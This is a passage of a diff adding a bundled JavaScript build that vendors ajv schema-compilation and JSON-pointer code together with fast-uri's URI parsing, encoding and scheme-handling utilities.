/^([0-9]+)(#|\/(?:[^~]|~0|~1)*)?$/; + function getData($data, { dataLevel, dataNames, dataPathArr }) { + let jsonPointer; + let data; + if ($data === "") + return names_1.default.rootData; + if ($data[0] === "/") { + if (!JSON_POINTER.test($data)) + throw new Error(`Invalid JSON-pointer: ${$data}`); + jsonPointer = $data; + data = names_1.default.rootData; + } else { + const matches = RELATIVE_JSON_POINTER.exec($data); + if (!matches) + throw new Error(`Invalid JSON-pointer: ${$data}`); + const up = +matches[1]; + jsonPointer = matches[2]; + if (jsonPointer === "#") { + if (up >= dataLevel) + throw new Error(errorMsg("property/index", up)); + return dataPathArr[dataLevel - up]; + } + if (up > dataLevel) + throw new Error(errorMsg("data", up)); + data = dataNames[dataLevel - up]; + if (!jsonPointer) + return data; + } + let expr = data; + const segments = jsonPointer.split("/"); + for (const segment of segments) { + if (segment) { + data = (0, codegen_1._)`${data}${(0, codegen_1.getProperty)((0, util_1.unescapeJsonPointer)(segment))}`; + expr = (0, codegen_1._)`${expr} && ${data}`; + } + } + return expr; + function errorMsg(pointerType, up) { + return `Cannot access ${pointerType} ${up} levels up, current level is ${dataLevel}`; + } + } + exports.getData = getData; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/runtime/validation_error.js +var require_validation_error = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/runtime/validation_error.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var ValidationError = class extends Error { + constructor(errors) { + super("validation failed"); + this.errors = errors; + this.ajv = this.validation = true; + } + }; + exports.default = ValidationError; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/ref_error.js +var require_ref_error = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/ref_error.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var resolve_1 = require_resolve(); + var MissingRefError = class extends Error { + constructor(resolver, baseId, ref, msg) { + super(msg || `can't resolve reference ${ref} from id ${baseId}`); + this.missingRef = (0, resolve_1.resolveUrl)(resolver, baseId, ref); + this.missingSchema = (0, resolve_1.normalizeId)((0, resolve_1.getFullPath)(resolver, this.missingRef)); + } + }; + exports.default = MissingRefError; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/index.js +var require_compile = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/index.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.resolveSchema = exports.getCompilingSchema = exports.resolveRef = exports.compileSchema = exports.SchemaEnv = void 0; + var codegen_1 = require_codegen(); + var validation_error_1 = require_validation_error(); + var names_1 = require_names(); + var resolve_1 = require_resolve(); + var util_1 = require_util(); + var validate_1 = require_validate(); + var SchemaEnv = class { + constructor(env2) { + var _a3; + this.refs = {}; + this.dynamicAnchors = {}; + let schema; + if (typeof env2.schema == "object") + schema = env2.schema; + this.schema = env2.schema; + this.schemaId = env2.schemaId; + this.root = env2.root || this; + this.baseId = (_a3 = env2.baseId) !== null && _a3 !== void 0 ? _a3 : (0, resolve_1.normalizeId)(schema === null || schema === void 0 ? void 0 : schema[env2.schemaId || "$id"]); + this.schemaPath = env2.schemaPath; + this.localRefs = env2.localRefs; + this.meta = env2.meta; + this.$async = schema === null || schema === void 0 ? void 0 : schema.$async; + this.refs = {}; + } + }; + exports.SchemaEnv = SchemaEnv; + function compileSchema(sch) { + const _sch = getCompilingSchema.call(this, sch); + if (_sch) + return _sch; + const rootId = (0, resolve_1.getFullPath)(this.opts.uriResolver, sch.root.baseId); + const { es5, lines } = this.opts.code; + const { ownProperties } = this.opts; + const gen = new codegen_1.CodeGen(this.scope, { es5, lines, ownProperties }); + let _ValidationError; + if (sch.$async) { + _ValidationError = gen.scopeValue("Error", { + ref: validation_error_1.default, + code: (0, codegen_1._)`require("ajv/dist/runtime/validation_error").default` + }); + } + const validateName = gen.scopeName("validate"); + sch.validateName = validateName; + const schemaCxt = { + gen, + allErrors: this.opts.allErrors, + data: names_1.default.data, + parentData: names_1.default.parentData, + parentDataProperty: names_1.default.parentDataProperty, + dataNames: [names_1.default.data], + dataPathArr: [codegen_1.nil], + // TODO can its length be used as dataLevel if nil is removed? + dataLevel: 0, + dataTypes: [], + definedProperties: /* @__PURE__ */ new Set(), + topSchemaRef: gen.scopeValue("schema", this.opts.code.source === true ? { ref: sch.schema, code: (0, codegen_1.stringify)(sch.schema) } : { ref: sch.schema }), + validateName, + ValidationError: _ValidationError, + schema: sch.schema, + schemaEnv: sch, + rootId, + baseId: sch.baseId || rootId, + schemaPath: codegen_1.nil, + errSchemaPath: sch.schemaPath || (this.opts.jtd ? "" : "#"), + errorPath: (0, codegen_1._)`""`, + opts: this.opts, + self: this + }; + let sourceCode; + try { + this._compilations.add(sch); + (0, validate_1.validateFunctionCode)(schemaCxt); + gen.optimize(this.opts.code.optimize); + const validateCode = gen.toString(); + sourceCode = `${gen.scopeRefs(names_1.default.scope)}return ${validateCode}`; + if (this.opts.code.process) + sourceCode = this.opts.code.process(sourceCode, sch); + const makeValidate = new Function(`${names_1.default.self}`, `${names_1.default.scope}`, sourceCode); + const validate = makeValidate(this, this.scope.get()); + this.scope.value(validateName, { ref: validate }); + validate.errors = null; + validate.schema = sch.schema; + validate.schemaEnv = sch; + if (sch.$async) + validate.$async = true; + if (this.opts.code.source === true) { + validate.source = { validateName, validateCode, scopeValues: gen._values }; + } + if (this.opts.unevaluated) { + const { props, items } = schemaCxt; + validate.evaluated = { + props: props instanceof codegen_1.Name ? void 0 : props, + items: items instanceof codegen_1.Name ? void 0 : items, + dynamicProps: props instanceof codegen_1.Name, + dynamicItems: items instanceof codegen_1.Name + }; + if (validate.source) + validate.source.evaluated = (0, codegen_1.stringify)(validate.evaluated); + } + sch.validate = validate; + return sch; + } catch (e) { + delete sch.validate; + delete sch.validateName; + if (sourceCode) + this.logger.error("Error compiling schema, function code:", sourceCode); + throw e; + } finally { + this._compilations.delete(sch); + } + } + exports.compileSchema = compileSchema; + function resolveRef2(root, baseId, ref) { + var _a3; + ref = (0, resolve_1.resolveUrl)(this.opts.uriResolver, baseId, ref); + const schOrFunc = root.refs[ref]; + if (schOrFunc) + return schOrFunc; + let _sch = resolve.call(this, root, ref); + if (_sch === void 0) { + const schema = (_a3 = root.localRefs) === null || _a3 === void 0 ? void 0 : _a3[ref]; + const { schemaId } = this.opts; + if (schema) + _sch = new SchemaEnv({ schema, schemaId, root, baseId }); + } + if (_sch === void 0) + return; + return root.refs[ref] = inlineOrCompile.call(this, _sch); + } + exports.resolveRef = resolveRef2; + function inlineOrCompile(sch) { + if ((0, resolve_1.inlineRef)(sch.schema, this.opts.inlineRefs)) + return sch.schema; + return sch.validate ? sch : compileSchema.call(this, sch); + } + function getCompilingSchema(schEnv) { + for (const sch of this._compilations) { + if (sameSchemaEnv(sch, schEnv)) + return sch; + } + } + exports.getCompilingSchema = getCompilingSchema; + function sameSchemaEnv(s1, s2) { + return s1.schema === s2.schema && s1.root === s2.root && s1.baseId === s2.baseId; + } + function resolve(root, ref) { + let sch; + while (typeof (sch = this.refs[ref]) == "string") + ref = sch; + return sch || this.schemas[ref] || resolveSchema.call(this, root, ref); + } + function resolveSchema(root, ref) { + const p = this.opts.uriResolver.parse(ref); + const refPath = (0, resolve_1._getFullPath)(this.opts.uriResolver, p); + let baseId = (0, resolve_1.getFullPath)(this.opts.uriResolver, root.baseId, void 0); + if (Object.keys(root.schema).length > 0 && refPath === baseId) { + return getJsonPointer.call(this, p, root); + } + const id = (0, resolve_1.normalizeId)(refPath); + const schOrRef = this.refs[id] || this.schemas[id]; + if (typeof schOrRef == "string") { + const sch = resolveSchema.call(this, root, schOrRef); + if (typeof (sch === null || sch === void 0 ? void 0 : sch.schema) !== "object") + return; + return getJsonPointer.call(this, p, sch); + } + if (typeof (schOrRef === null || schOrRef === void 0 ? void 0 : schOrRef.schema) !== "object") + return; + if (!schOrRef.validate) + compileSchema.call(this, schOrRef); + if (id === (0, resolve_1.normalizeId)(ref)) { + const { schema } = schOrRef; + const { schemaId } = this.opts; + const schId = schema[schemaId]; + if (schId) + baseId = (0, resolve_1.resolveUrl)(this.opts.uriResolver, baseId, schId); + return new SchemaEnv({ schema, schemaId, root, baseId }); + } + return getJsonPointer.call(this, p, schOrRef); + } + exports.resolveSchema = resolveSchema; + var PREVENT_SCOPE_CHANGE = /* @__PURE__ */ new Set([ + "properties", + "patternProperties", + "enum", + "dependencies", + "definitions" + ]); + function getJsonPointer(parsedRef, { baseId, schema, root }) { + var _a3; + if (((_a3 = parsedRef.fragment) === null || _a3 === void 0 ? void 0 : _a3[0]) !== "/") + return; + for (const part of parsedRef.fragment.slice(1).split("/")) { + if (typeof schema === "boolean") + return; + const partSchema = schema[(0, util_1.unescapeFragment)(part)]; + if (partSchema === void 0) + return; + schema = partSchema; + const schId = typeof schema === "object" && schema[this.opts.schemaId]; + if (!PREVENT_SCOPE_CHANGE.has(part) && schId) { + baseId = (0, resolve_1.resolveUrl)(this.opts.uriResolver, baseId, schId); + } + } + let env2; + if (typeof schema != "boolean" && schema.$ref && !(0, util_1.schemaHasRulesButRef)(schema, this.RULES)) { + const $ref = (0, resolve_1.resolveUrl)(this.opts.uriResolver, baseId, schema.$ref); + env2 = resolveSchema.call(this, root, $ref); + } + const { schemaId } = this.opts; + env2 = env2 || new SchemaEnv({ schema, schemaId, root, baseId }); + if (env2.schema !== env2.root.schema) + return env2; + return void 0; + } + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/refs/data.json +var require_data = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/refs/data.json"(exports, module) { + module.exports = { + $id: "https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#", + description: "Meta-schema for $data reference (JSON AnySchema extension proposal)", + type: "object", + required: ["$data"], + properties: { + $data: { + type: "string", + anyOf: [{ format: "relative-json-pointer" }, { format: "json-pointer" }] + } + }, + additionalProperties: false + }; + } +}); + +// node_modules/.pnpm/fast-uri@3.1.8/node_modules/fast-uri/lib/utils.js +var require_utils = __commonJS({ + "node_modules/.pnpm/fast-uri@3.1.8/node_modules/fast-uri/lib/utils.js"(exports, module) { + "use strict"; + var isUUID = RegExp.prototype.test.bind(/^[\da-f]{8}-[\da-f]{4}-[\da-f]{4}-[\da-f]{4}-[\da-f]{12}$/iu); + var isIPv4 = RegExp.prototype.test.bind(/^(?:(?:25[0-5]|2[0-4]\d|1\d{2}|[1-9]\d|\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d{2}|[1-9]\d|\d)$/u); + var isPort = RegExp.prototype.test.bind(/^\d*$/u); + var isHexPair = RegExp.prototype.test.bind(/^[\da-f]{2}$/iu); + var isUnreserved = RegExp.prototype.test.bind(/^[\da-z\-._~]$/iu); + var isPathCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:@/]$/u); + var isQueryFragmentCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:@/?]$/u); + var isUserinfoCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:]$/u); + var BYTE_HEX = new Array(256); + { + const HEX_DIGITS = "0123456789ABCDEF"; + for (let i = 0; i < 256; i++) { + BYTE_HEX[i] = "%" + HEX_DIGITS[i >> 4] + HEX_DIGITS[i & 15]; + } + } + function percentEncodeNonAscii(cp) { + if (cp < 2048) { + return BYTE_HEX[192 | cp >> 6] + BYTE_HEX[128 | cp & 63]; + } + if (cp < 65536) { + return BYTE_HEX[224 | cp >> 12] + BYTE_HEX[128 | cp >> 6 & 63] + BYTE_HEX[128 | cp & 63]; + } + return BYTE_HEX[240 | cp >> 18] + BYTE_HEX[128 | cp >> 12 & 63] + BYTE_HEX[128 | cp >> 6 & 63] + BYTE_HEX[128 | cp & 63]; + } + function stringArrayToHexStripped(input) { + let acc = ""; + let code = 0; + let i = 0; + for (i = 0; i < input.length; i++) { + code = input[i].charCodeAt(0); + if (code === 48) { + continue; + } + if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { + return ""; + } + acc += input[i]; + break; + } + for (i += 1; i < input.length; i++) { + code = input[i].charCodeAt(0); + if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { + return ""; + } + acc += input[i]; + } + return acc; + } + var isHextet = RegExp.prototype.test.bind(/^[\dA-Fa-f]{1,4}$/); + var isIPvFuture = RegExp.prototype.test.bind(/^[vV][\dA-Fa-f]+\.[A-Za-z\d\-._~!$&'()*+,;=:]+$/); + var isZoneCharacter = RegExp.prototype.test.bind(/^[A-Za-z\d\-._~]$/); + var nonSimpleDomain = RegExp.prototype.test.bind(/[^!"$&'()*+,\-.;=_`a-z{}~]/u); + function isZoneIdentifier(zone) { + if (zone.length === 0) return false; + for (let i = 0; i < zone.length; i++) { + if (isZoneCharacter(zone[i])) continue; + if (zone[i] === "%" && i + 2 < zone.length && isHexPair(zone.slice(i + 1, i + 3))) { + i += 2; + continue; + } + return false; + } + return true; + } + function compressIPv6ZeroRun(hextets) { + let bestStart = -1; + let bestLength = 0; + let runStart = -1; + let runLength = 0; + for (let i = 0; i < hextets.length; i++) { + if (hextets[i] === "0") { + if (runStart === -1) runStart = i; + runLength++; + if (runLength > bestLength) { + bestLength = runLength; + bestStart = runStart; + } + } else { + runStart = -1; + runLength = 0; + } + } + if (bestLength < 2) return hextets.join(":"); + const head = hextets.slice(0, bestStart).join(":"); + const tail = hextets.slice(bestStart + bestLength).join(":"); + return head + "::" + tail; + } + function normalizeIPv6Address(input) { + const compression = input.indexOf("::"); + if (compression !== -1 && input.indexOf("::", compression + 1) !== -1) return void 0; + const left = compression === -1 ? input.split(":") : input.slice(0, compression).split(":"); + const right = compression === -1 ? [] : input.slice(compression + 2).split(":"); + if (compression !== -1) { + if (left.length === 1 && left[0] === "") left.length = 0; + if (right.length === 1 && right[0] === "") right.length = 0; + } + const parts = left.concat(right); + let hextetCount = 0; + for (let i = 0; i < parts.length; i++) { + const part = parts[i]; + if (part === "") return void 0; + if (part.indexOf(".") !== -1) { + if (i !== parts.length - 1 || compression !== -1 && right.length === 0 || !isIPv4(part)) return void 0; + hextetCount += 2; + continue; + } + if (!isHextet(part)) return void 0; + parts[i] = parseInt(part, 16).toString(16); + hextetCount++; + } + if (compression === -1) { + if (hextetCount !== 8) return void 0; + return compressIPv6ZeroRun(parts); + } + if (hextetCount >= 8) return void 0; + const expanded = parts.slice(0, left.length); + for (let i = hextetCount; i < 8; i++) expanded.push("0"); + for (let i = left.length; i < parts.length; i++) expanded.push(parts[i]); + return compressIPv6ZeroRun(expanded); + } + function normalizeIPv6(host) { + const bracketed = host[0] === "[" && host[host.length - 1] === "]"; + const hasBracket = host[0] === "[" || host[host.length - 1] === "]"; + if (hasBracket && !bracketed) return { host, isIPV6: false, error: true }; + let input = bracketed ? host.slice(1, -1) : host; + if (bracketed && isIPvFuture(input)) { + input = input.toLowerCase(); + return { host: `[${input}]`, escapedHost: input, isIPV6: false, isIPVFuture: true }; + } + if (findToken(input, ":") < 2) { + return { host, isIPV6: false, error: bracketed }; + } + let zoneIdentifier = ""; + const zoneSeparator = input.indexOf("%"); + if (zoneSeparator !== -1) { + const separatorLength = input.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; + zoneIdentifier = input.slice(zoneSeparator + separatorLength); + if (!isZoneIdentifier(zoneIdentifier)) return { host, isIPV6: false, error: true }; + input = input.slice(0, zoneSeparator); + } + const address = normalizeIPv6Address(input); + if (address === void 0) return { host, isIPV6: false, error: true }; + return { + host: address + (zoneIdentifier ? "%" + zoneIdentifier : ""), + escapedHost: address + (zoneIdentifier ? "%25" + zoneIdentifier : ""), + isIPV6: true + }; + } + function findToken(str, token) { + let ind = 0; + for (let i = 0; i < str.length; i++) { + if (str[i] === token) ind++; + } + return ind; + } + function removeDotSegments(path) { + let input = path; + const output = []; + let nextSlash = -1; + let len = 0; + while (len = input.length) { + if (len === 1) { + if (input === ".") { + break; + } else if (input === "/") { + output.push("/"); + break; + } else { + output.push(input); + break; + } + } else if (len === 2) { + if (input[0] === ".") { + if (input[1] === ".") { + break; + } else if (input[1] === "/") { + input = input.slice(2); + continue; + } + } else if (input[0] === "/") { + if (input[1] === "." || input[1] === "/") { + output.push("/"); + break; + } + } + } else if (len === 3) { + if (input === "/..") { + if (output.length !== 0) { + output.pop(); + } + output.push("/"); + break; + } + } + if (input[0] === ".") { + if (input[1] === ".") { + if (input[2] === "/") { + input = input.slice(3); + continue; + } + } else if (input[1] === "/") { + input = input.slice(2); + continue; + } + } else if (input[0] === "/") { + if (input[1] === ".") { + if (input[2] === "/") { + input = input.slice(2); + continue; + } else if (input[2] === ".") { + if (input[3] === "/") { + input = input.slice(3); + if (output.length !== 0) { + output.pop(); + } + continue; + } + } + } + } + if ((nextSlash = input.indexOf("/", 1)) === -1) { + output.push(input); + break; + } else { + output.push(input.slice(0, nextSlash)); + input = input.slice(nextSlash); + } + } + return output.join(""); + } + var HOST_DELIMS = { "@": "%40", "/": "%2F", "?": "%3F", "#": "%23", ":": "%3A" }; + var HOST_DELIM_RE = /[@/?#:]/g; + var HOST_DELIM_NO_COLON_RE = /[@/?#]/g; + function reescapeHostDelimiters(host, isIP) { + const re2 = isIP ? HOST_DELIM_NO_COLON_RE : HOST_DELIM_RE; + re2.lastIndex = 0; + return host.replace(re2, (ch) => HOST_DELIMS[ch]); + } + function normalizePercentEncoding(input, decodeUnreserved = false) { + if (input.indexOf("%") === -1) { + return input; + } + let output = ""; + for (let i = 0; i < input.length; i++) { + if (input[i] === "%" && i + 2 < input.length) { + const hex3 = input.slice(i + 1, i + 3); + if (isHexPair(hex3)) { + const normalizedHex = hex3.toUpperCase(); + const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); + if (decodeUnreserved && isUnreserved(decoded)) { + output += decoded; + } else { + output += "%" + normalizedHex; + } + i += 2; + continue; + } + } + output += input[i]; + } + return output; + } + function normalizePathEncoding(input) { + let output = ""; + for (let i = 0; i < input.length; i++) { + const ch = input[i]; + if (ch === "%" && i + 2 < input.length) { + const hex3 = input.slice(i + 1, i + 3); + if (isHexPair(hex3)) { + const normalizedHex = hex3.toUpperCase(); + const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); + if (decoded !== "." && isUnreserved(decoded)) { + output += decoded; + } else { + output += "%" + normalizedHex; + } + i += 2; + continue; + } + } + if (isPathCharacter(ch)) { + output += ch; + } else { + const code = input.charCodeAt(i); + if (code < 128) { + output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + } else if (code < 55296 || code > 57343) { + output += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input.length) { + const low = input.charCodeAt(i + 1); + if (low >= 56320 && low <= 57343) { + output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + i++; + } else { + output += percentEncodeNonAscii(65533); + } + } else { + output += percentEncodeNonAscii(65533); + } + } + } + return output; + } + function serializePathEncoding(input, pathNoScheme = false) { + let output = ""; + let firstSegment = pathNoScheme && input[0] !== "/"; + for (let i = 0; i < input.length; i++) { + const ch = input[i]; + if (ch === "%" && i + 2 < input.length) { + const hex3 = input.slice(i + 1, i + 3); + if (isHexPair(hex3)) { + output += "%" + hex3.toUpperCase(); + i += 2; + continue; + } + } + if (ch === "/") { + firstSegment = false; + } + if (isPathCharacter(ch) && (ch !== ":" || !firstSegment)) { + output += ch; + } else { + const code = input.charCodeAt(i); + if (code < 128) { + output += BYTE_HEX[code]; + } else if (code < 55296 || code > 57343) { + output += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input.length) { + const low = input.charCodeAt(i + 1); + if (low >= 56320 && low <= 57343) { + output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + i++; + } else { + output += percentEncodeNonAscii(65533); + } + } else { + output += percentEncodeNonAscii(65533); + } + } + } + return output; + } + function encodeComponent(input, isAllowed) { + let output = ""; + for (let i = 0; i < input.length; i++) { + const ch = input[i]; + if (ch === "%" && i + 2 < input.length) { + const hex3 = input.slice(i + 1, i + 3); + if (isHexPair(hex3)) { + output += "%" + hex3.toUpperCase(); + i += 2; + continue; + } + } + if (isAllowed(ch)) { + output += ch; + } else { + const code = input.charCodeAt(i); + if (code < 128) { + output += BYTE_HEX[code]; + } else if (code < 55296 || code > 57343) { + output += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input.length) { + const low = input.charCodeAt(i + 1); + if (low >= 56320 && low <= 57343) { + output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + i++; + } else { + output += percentEncodeNonAscii(65533); + } + } else { + output += percentEncodeNonAscii(65533); + } + } + } + return output; + } + function encodeUserinfo(input) { + return encodeComponent(input, isUserinfoCharacter); + } + function encodeQuery(input) { + return encodeComponent(input, isQueryFragmentCharacter); + } + function encodeFragment(input) { + return encodeComponent(input, isQueryFragmentCharacter); + } + function isEscapeSafe(cp) { + return cp >= 48 && cp <= 57 || cp >= 65 && cp <= 90 || cp >= 97 && cp <= 122 || cp === 42 || cp === 43 || cp === 45 || cp === 46 || cp === 47 || cp === 64 || cp === 95; + } + function normalizeQueryFragmentEncoding(input) { + let output = ""; + for (let i = 0; i < input.length; i++) { + const ch = input[i]; + if (ch === "%" && i + 2 < input.length) { + const hex3 = input.slice(i + 1, i + 3); + if (isHexPair(hex3)) { + const normalizedHex = hex3.toUpperCase(); + const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); + if (isUnreserved(decoded)) { + output += decoded; + } else { + output += "%" + normalizedHex; + } + i += 2; + continue; + } + } + if (isQueryFragmentCharacter(ch)) { + output += ch; + } else { + const code = input.charCodeAt(i); + if (code < 128) { + output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + } else if (code < 55296 || code > 57343) { + output += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input.length) { + const low = input.charCodeAt(i + 1); + if (low >= 56320 && low <= 57343) { + output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + i++; + } else { + output += percentEncodeNonAscii(65533); + } + } else { + output += percentEncodeNonAscii(65533); + } + } + } + return output; + } + function escapePreservingEscapes(input) { + let output = ""; + for (let i = 0; i < input.length; i++) { + if (input[i] === "%" && i + 2 < input.length) { + const hex3 = input.slice(i + 1, i + 3); + if (isHexPair(hex3)) { + output += "%" + hex3.toUpperCase(); + i += 2; + continue; + } + } + output += escape(input[i]); + } + return output; + } + function recomposeAuthority(component) { + const uriTokens = []; + if (component.userinfo !== void 0) { + uriTokens.push(encodeUserinfo(component.userinfo)); + uriTokens.push("@"); + } + if (component.host !== void 0) { + let host = component.host; + if (!isIPv4(host)) { + let ipV6res = normalizeIPv6(host); + if (ipV6res.isIPV6 !== true && ipV6res.isIPVFuture !== true) { + host = normalizePercentEncoding(host, true); + ipV6res = normalizeIPv6(host); + } + if (ipV6res.isIPV6 === true || ipV6res.isIPVFuture === true) { + host = `[${ipV6res.escapedHost}]`; + } else { + host = reescapeHostDelimiters(host, false); + } + } + uriTokens.push(host); + } + if (typeof component.port === "number" || typeof component.port === "string") { + const port = String(component.port); + if (!isPort(port)) { + throw new TypeError("URI port is malformed."); + } + uriTokens.push(":"); + uriTokens.push(port); + } + return uriTokens.length ? uriTokens.join("") : void 0; + } + module.exports = { + nonSimpleDomain, + recomposeAuthority, + reescapeHostDelimiters, + normalizePercentEncoding, + normalizePathEncoding, + serializePathEncoding, + normalizeQueryFragmentEncoding, + encodeUserinfo, + encodeQuery, + encodeFragment, + escapePreservingEscapes, + removeDotSegments, + isIPv4, + isUUID, + normalizeIPv6, + stringArrayToHexStripped + }; + } +}); + +// node_modules/.pnpm/fast-uri@3.1.8/node_modules/fast-uri/lib/schemes.js +var require_schemes = __commonJS({ + "node_modules/.pnpm/fast-uri@3.1.8/node_modules/fast-uri/lib/schemes.js"(exports, module) { + "use strict"; + var { isUUID } = require_utils(); + var URN_REG = /^([\da-z][\d\-a-z]{0,31}):((?:[\w!$'()*+,\-./:;=@]|%[\da-f]{2})+)$/iu; + var supportedSchemeNames = ( + /** @type {const} */ + [ + "http", + "https", + "ws", + "wss", + "urn", + "urn:uuid" + ] + ); + function isValidSchemeName(name) { + return supportedSchemeNames.indexOf( + /** @type {*} */ + name + ) !== -1; + } + function wsIsSecure(wsComponent) { + if (wsComponent.secure === true) { + return true; + } else if (wsComponent.secure === false) { + return false; + } else if (wsComponent.scheme) { + return wsComponent.scheme.length === 3 && (wsComponent.scheme[0] === "w" || wsComponent.scheme[0] === "W") && (wsComponent.scheme[1] === "s" || wsComponent.scheme[1] === "S") && (wsComponent.scheme[2] === "s" || wsComponent.scheme[2] === "S"); + } else { + return false; + } + } + function httpParse(component) { + if (!component.host) { + component.error = component.error || "HTTP URIs must have a host."; + } + return component; + } + function httpSerialize(component) { + const secure = String(component.scheme).toLowerCase() === "https"; + if (component.port === (secure ? 443 : 80) || component.port === "") { + component.port = void 0; + } + if (!component.path) { + component.path = "/"; + } + return component; + } + function wsParse(wsComponent) { + wsComponent.secure = wsIsSecure(wsComponent); + wsComponent.resourceName = (wsComponent.path || "/") + (wsComponent.query ? "?" + wsComponent.query : ""); + wsComponent.path = void 0; + wsComponent.query = void 0; + return wsComponent; + } + function wsSerialize(wsComponent) { + if (wsComponent.port === (wsIsSecure(wsComponent) ? 443 : 80) || wsComponent.port === "") { + wsComponent.port = void 0; + } + if (typeof wsComponent.secure === "boolean") { + wsComponent.scheme = wsComponent.secure ? "wss" : "ws"; + wsComponent.secure = void 0; + } + if (wsComponent.resourceName) { + const queryIndex = wsComponent.resourceName.indexOf("?"); + const path = queryIndex === -1 ? wsComponent.resourceName : wsComponent.resourceName.slice(0, queryIndex); + wsComponent.path = path && path !== "/" ? path : void 0; + wsComponent.query = queryIndex === -1 ? void 0 : wsComponent.resourceName.slice(queryIndex + 1); + wsComponent.resourceName = void 0; + } + wsComponent.fragment = void 0; + return wsComponent; + } + function urnParse(urnComponent, options) { + if (!urnComponent.path) { + urnComponent.error = "URN can not be parsed"; + return urnComponent; + } + const matches = urnComponent.path.match(URN_REG); + if (matches && matches[0] === urnComponent.path) { + const scheme = options.scheme || urnComponent.scheme || "urn"; + urnComponent.nid = matches[1].toLowerCase(); + urnComponent.nss = matches[2]; + const urnScheme = `${scheme}:${options.nid || urnComponent.nid}`; + const schemeHandler = getSchemeHandler(urnScheme); + urnComponent.path = void 0; + if (schemeHandler) { + urnComponent = schemeHandler.parse(urnComponent, options); + } + } else { + urnComponent.error = urnComponent.error || "URN can not be parsed."; + } + return urnComponent; + } + function urnSerialize(urnComponent, options) { + if (urnComponent.nid === void 0) { + throw new Error("URN without nid cannot be serialized"); + } + const scheme = options.scheme || urnComponent.scheme || "urn"; + const nid = urnComponent.nid.toLowerCase(); + const urnScheme = `${scheme}:${options.nid || nid}`; + const schemeHandler = getSchemeHandler(urnScheme); + if (schemeHandler) { + urnComponent = schemeHandler.serialize(urnComponent, options); + } + const uriComponent = urnComponent; + const nss = urnComponent.nss; + uriComponent.path = `${nid || options.nid}:${nss}`; + options.skipEscape = true; + return uriComponent; + } + function urnuuidParse(urnComponent, options) { + const uuidComponent = urnComponent; + uuidComponent.uuid = uuidComponent.nss; + uuidComponent.nss = void 0; + if (!options.tolerant && (!uuidComponent.uuid || !isUUID(uuidComponent.uuid))) { + uuidComponent.error = uuidComponent.error || "UUID is not valid."; + } + return uuidComponent; + } + function urnuuidSerialize(uuidComponent) { + const urnComponent = uuidComponent; + urnComponent.nss = (uuidComponent.uuid || "").toLowerCase(); + return urnComponent; + } + var http = ( + /** @type {SchemeHandler} */ + { + scheme: "http", + domainHost: true, + parse: httpParse, + serialize: httpSerialize + } + ); + var https = ( + /** @type {SchemeHandler} */ + { + scheme: "https", + domainHost: http.domainHost, + parse: httpParse, + serialize: httpSerialize + } + ); + var ws = ( + /** @type {SchemeHandler} */ + { + scheme: "ws", + domainHost: true, + parse: wsParse, + serialize: wsSerialize + } + ); + var wss = ( + /** @type {SchemeHandler} */ + { + scheme: "wss", + domainHost: ws.domainHost, + parse: ws.parse, + serialize: ws.serialize + } + ); + var urn = ( + /** @type {SchemeHandler} */ + { + scheme: "urn", + parse: urnParse, + serialize: urnSerialize, + skipNormalize: true + } + ); + var urnuuid = ( + /** @type {SchemeHandler} */ + { + scheme: "urn:uuid", + parse: urnuuidParse, + serialize: urnuuidSerialize, + skipNormalize: true + } + ); + var SCHEMES = ( + /** @type {Record} */ + { + http, + https, + ws, + wss, + urn, + "urn:uuid": urnuuid + } + ); + Object.setPrototypeOf(SCHEMES, null); + function getSchemeHandler(scheme) { + return scheme && (SCHEMES[ + /** @type {SchemeName} */ + scheme + ] || SCHEMES[ + /** @type {SchemeName} */ + scheme.toLowerCase() + ]) || void 0; + } + module.exports = { + wsIsSecure, + SCHEMES, + isValidSchemeName, + getSchemeHandler + }; + } +}); + +// node_modules/.pnpm/fast-uri@3.1.8/node_modules/fast-uri/index.js +var require_fast_uri = __commonJS({ + "node_modules/.pnpm/fast-uri@3.1.8/node_modules/fast-uri/index.js"(exports, module) { + "use strict"; + var { normalizeIPv6, removeDotSegments, recomposeAuthority, normalizePercentEncoding, normalizePathEncoding, serializePathEncoding, normalizeQueryFragmentEncoding, encodeQuery, encodeFragment, reescapeHostDelimiters, isIPv4, nonSimpleDomain } = require_utils(); + var { SCHEMES, getSchemeHandler } = require_schemes(); + var VALID_SCHEME = 